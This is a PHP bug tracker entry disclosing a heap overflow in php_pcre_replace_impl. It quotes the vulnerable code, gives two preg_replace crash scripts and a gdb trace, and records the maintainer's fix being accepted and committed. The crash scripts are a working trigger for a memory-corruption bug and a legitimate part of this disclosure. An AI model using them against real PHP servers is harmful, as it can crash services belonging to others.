php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73174 heap overflow in php_pcre_replace_impl
Submitted: 2016-09-26 08:18 UTC Modified: 2017-02-13 01:17 UTC
From: secresearch at fortinet dot com Assigned: stas (profile)
Status: Closed Package: PCRE related
PHP Version: 5.6.26 OS: ALL
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: secresearch at fortinet dot com
New email:
PHP Version: OS:

 

 [2016-09-26 08:18 UTC] secresearch at fortinet dot com
Description:
------------
The heap overflow in function php_pcre_replace_impl due to integer overflow.

PHPAPI char *php_pcre_replace_impl(pcre_cache_entry *pce, char *subject, int subject_len, zval *replace_val,
	int is_callable_replace, int *result_len, int limit, int *replace_count TSRMLS_DC)
{
	...

			if (new_len + 1 > alloc_len) {
				alloc_len = 1 + alloc_len + 2 * new_len; // alloc_len = 286331206
				new_buf = emalloc(alloc_len);
				memcpy(new_buf, result, *result_len);
				efree(result);
				result = new_buf;
			}
			/* copy the part of the string before the match */
			memcpy(&result[*result_len], piece, match-piece); // match - piece = 715827882 -> overflow
			*result_len += match-piece;
...

Test script:
---------------
<?php
ini_set('memory_limit', -1);

$string = 'April 15, 2003'.str_repeat('a', 100);
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,'.str_repeat('a', 0xffffffff/2-20).'$3';
$a = preg_replace($pattern, $replacement, $string);

?>

Expected result:
----------------
No crash

Actual result:
--------------
Starting program: /home/test/PHP-5.6.26/sapi/cli/php ~/phptestcase/testpreg_replace_crash.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Breakpoint 1, php_pcre_replace_impl (pce=0x15ecc50, subject=0x7fff3437a030 '1' <repeats 200 times>..., subject_len=715827898, replace_val=0x7ffff7fa1ea8, is_callable_replace=0, result_len=0x7fffffffa60c, limit=-1, replace_count=0x7fffffffa5dc) at /home/test/PHP-5.6.26/ext/pcre/php_pcre.c:1213
1213				if (new_len + 1 > alloc_len) {
(gdb) p new_len + 1
$6 = 1574821353
(gdb) p alloc_len
$7 = 1431655797
(gdb) step
1214					alloc_len = 1 + alloc_len + 2 * new_len;
(gdb) 
1215					new_buf = emalloc(alloc_len);
(gdb) p alloc_len 
$8 = 286331206
(gdb) c
Continuing.

Breakpoint 2, php_pcre_replace_impl (pce=0x15ecc50, subject=0x7fff3437a030 '1' <repeats 200 times>..., subject_len=715827898, replace_val=0x7ffff7fa1ea8, is_callable_replace=0, result_len=0x7fffffffa60c, limit=-1, replace_count=0x7fffffffa5dc) at /home/test/PHP-5.6.26/ext/pcre/php_pcre.c:1221
1221				memcpy(&result[*result_len], piece, match-piece);
(gdb) p match - piece 
$9 = 715827882
(gdb) p piece
$10 = 0x7fff3437a030 '1' <repeats 200 times>...
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff10a5a8b in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
(gdb) 


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-26 08:24 UTC] secresearch at fortinet dot com
Please use this test script:
---------------

<?php //crash memcpy
ini_set('memory_limit', -1);

$string = str_repeat('1', 0xffffffff/6).'April 15, 2003'.str_repeat('a', 2);
$pattern = '/(A\w+) (\d+), (\d+)/i';
$replacement = '${1}1,'.str_repeat('a', 0xffffffff/5).'$3'; // /3 crash

$a = preg_replace($pattern, $replacement, $string);

?>
 [2016-09-29 05:30 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-09-29 05:30 UTC] stas@php.net
The fix is in security repo as 29e2a204fb42af061e66a9f847ffbc8f1d13897a and in https://gist.github.com/1b2906f122c0c878e716380c076eee93

please verify
 [2016-09-29 08:18 UTC] secresearch at fortinet dot com
this patch looks good!
 [2016-10-11 23:49 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-10-11 23:49 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-10-12 23:35 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=29e2a204fb42af061e66a9f847ffbc8f1d13897a
Log: Fixed bug #73174 - heap overflow in php_pcre_replace_impl
 [2016-10-14 02:23 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=29e2a204fb42af061e66a9f847ffbc8f1d13897a
Log: Fixed bug #73174 - heap overflow in php_pcre_replace_impl
 [2016-10-17 10:07 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=29e2a204fb42af061e66a9f847ffbc8f1d13897a
Log: Fixed bug #73174 - heap overflow in php_pcre_replace_impl
 [2017-02-13 01:17 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Sun Feb 02 01:01:32 2025 UTC